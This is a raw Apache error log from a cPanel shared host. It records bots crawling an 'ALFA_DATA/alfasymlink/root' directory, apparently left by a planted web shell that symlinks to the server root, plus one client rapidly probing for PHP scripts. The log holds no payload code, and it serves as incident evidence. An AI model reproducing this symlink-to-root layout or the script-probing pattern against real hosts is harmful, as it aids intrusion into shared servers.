[Mon Oct 26 14:19:31.820650 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 54.243.63.52:41398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory17/node0/memory14/node0/compact
[Mon Oct 26 14:19:35.883910 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 44.195.50.71:30777] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:19:40.087645 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 50.19.221.48:32693] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:19:51.882155 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 54.197.102.71:64842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/resource4_wc
[Mon Oct 26 14:19:56.036964 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 54.209.100.30:2658] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:20:04.188364 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 52.71.46.142:25645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/vmd/unbind
[Mon Oct 26 14:20:19.866704 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 52.21.62.139:48825] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:20:24.474045 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 107.22.208.39:63883] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:20:27.762733 2026] [ssl:error] [pid 3052342:tid 3052342] (5)Input/output error: [client 44.206.65.8:18595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:20:33.007172 2026] [core:error] [pid 3074892:tid 3074892] (13)Permission denied: [client 54.156.55.147:18381] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node1/subsystem/drivers/psmouse/module/uevent
[Mon Oct 26 14:20:39.645124 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.200.93.170:47347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:20:47.751177 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 52.0.105.244:22059] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:20:47.751402 2026] [security2:error] [pid 3077536:tid 3077536] [client 52.0.105.244:22059] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:02.0/local_cpus"] [unique_id "at-Z_6rAMmuTbk6594wTugAAAAA"]
[Mon Oct 26 14:20:47.751436 2026] [security2:error] [pid 3077536:tid 3077536] [client 52.0.105.244:22059] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:02.0/local_cpus"] [unique_id "at-Z_6rAMmuTbk6594wTugAAAAA"]
[Mon Oct 26 14:20:51.949405 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 54.209.100.30:14465] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/vmd/remove_id
[Mon Oct 26 14:20:56.052397 2026] [core:error] [pid 3074879:tid 3074879] (13)Permission denied: [client 18.206.47.187:6149] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/close_delay
[Mon Oct 26 14:21:04.646134 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 185.191.171.6:22700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/cache_dma
[Mon Oct 26 14:21:11.932061 2026] [security2:error] [pid 3074872:tid 3074872] [client 3.89.176.255:1126] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory9/node0/memory18/"] [unique_id "at-aF1syD1ZSVE1PutLlsAAAAAQ"]
[Mon Oct 26 14:21:11.932116 2026] [security2:error] [pid 3074872:tid 3074872] [client 3.89.176.255:1126] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory9/node0/memory18/"] [unique_id "at-aF1syD1ZSVE1PutLlsAAAAAQ"]
[Mon Oct 26 14:21:24.685124 2026] [core:crit] [pid 3064909:tid 3064909] (13)Permission denied: [client 89.248.172.11:32014] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:21:31.693255 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 98.83.72.38:52601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:21:39.883784 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 34.225.138.57:55161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:21:40.715195 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:40.755708 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:40.796879 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:40.841132 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:40.882391 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:40.924565 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.006116 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.129993 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.214642 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.254492 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.296763 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.348943 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.433847 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.473551 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.514573 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.554011 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.593664 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.633205 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.673191 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.713891 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.755928 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.795484 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.837290 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.879412 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.920142 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:41.959983 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.000665 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.040691 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.082010 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.124255 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.164847 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.205868 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.246102 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.287842 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.340082 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.380686 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.421435 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.461984 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.502137 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.545697 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.586481 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.626280 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.668616 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.708974 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.748918 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.788766 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.829897 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.871148 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.911111 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.950684 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:42.991411 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.032042 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.071757 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.112697 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.153077 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.193227 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.232645 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.272724 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.314968 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.365229 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.405946 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.456333 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.513259 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.553597 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.601614 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.641704 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.683574 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.724099 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.763787 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.804066 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.845036 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.887431 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:43.919863 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.204.89.12:30681] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:21:44.216594 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.500135 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.543246 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.597630 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.637550 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.677373 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.718051 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.758283 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.798764 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.839215 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.862315 2026] [security2:error] [pid 3077536:tid 3077536] [client 20.151.218.88:29076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/zv.php"] [unique_id "at-aOKrAMmuTbk6594wUIQAAAAA"]
[Mon Oct 26 14:21:44.862348 2026] [security2:error] [pid 3077536:tid 3077536] [client 20.151.218.88:29076] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "agent.sherwinpinturas.com"] [uri "/zv.php"] [unique_id "at-aOKrAMmuTbk6594wUIQAAAAA"]
[Mon Oct 26 14:21:44.882591 2026] [proxy_fcgi:error] [pid 3064918:tid 3064918] [client 20.151.218.88:29067] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:44.989558 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.033841 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.154455 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.196068 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.236895 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.278249 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.318955 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.360191 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.401698 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.442175 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.482698 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.564591 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.647078 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.688503 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.733488 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.812713 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.852950 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.896494 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.936574 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:45.976175 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:46.016598 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:46.056728 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:46.096399 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:46.136384 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:46.177024 2026] [proxy_fcgi:error] [pid 3074872:tid 3074872] [client 20.151.218.88:29102] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:21:47.974685 2026] [security2:error] [pid 3074879:tid 3074879] [client 98.84.140.208:59354] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "miescurlax.sherwinpinturas.com"] [uri "/"] [unique_id "at-aO4byDoaPXEcrP3mzoAAAAA4"], referer: https://miescurlax.sherwinpinturas.com/
[Mon Oct 26 14:21:47.974737 2026] [security2:error] [pid 3074879:tid 3074879] [client 98.84.140.208:59354] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "miescurlax.sherwinpinturas.com"] [uri "/"] [unique_id "at-aO4byDoaPXEcrP3mzoAAAAA4"], referer: https://miescurlax.sherwinpinturas.com/
[Mon Oct 26 14:21:55.729561 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 44.223.232.55:18440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:22:15.780954 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 44.212.131.50:13198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:22:21.714635 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 185.191.171.17:29434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_pending_reservation/shrink
[Mon Oct 26 14:22:24.361566 2026] [authz_core:error] [pid 3079560:tid 3079560] [client 13.220.113.14:50798] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:22:35.710071 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 100.28.57.133:32659] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:22:38.330222 2026] [security2:error] [pid 3064916:tid 3064916] [client 107.172.76.131:55873] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-aYgz1n6jB6fkqe7GmMAAAABA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:22:38.330284 2026] [security2:error] [pid 3064916:tid 3064916] [client 107.172.76.131:55873] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-aYgz1n6jB6fkqe7GmMAAAABA"], referer: https://bases2.sherwinpinturas.com/beta.php
[Mon Oct 26 14:22:51.768521 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 52.3.104.214:28135] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:23:04.243839 2026] [core:error] [pid 3079560:tid 3079560] (13)Permission denied: [client 85.208.96.195:33916] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mm_struct/slabs
[Mon Oct 26 14:23:15.882659 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 52.4.213.199:49969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:23:18.630688 2026] [security2:error] [pid 3065807:tid 3065807] [client 43.155.140.157:59406] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeok2.php"] [unique_id "at-alhjIL9Z3tuLhXUCtIwAAAAc"]
[Mon Oct 26 14:23:24.076127 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 100.29.155.89:46270] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:23:27.881119 2026] [ssl:error] [pid 3074872:tid 3074872] (70014)End of file found: [client 3.210.223.61:50244] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:23:32.507296 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 3.215.59.93:49512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:23:41.018483 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 85.208.96.200:16878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/red_zone
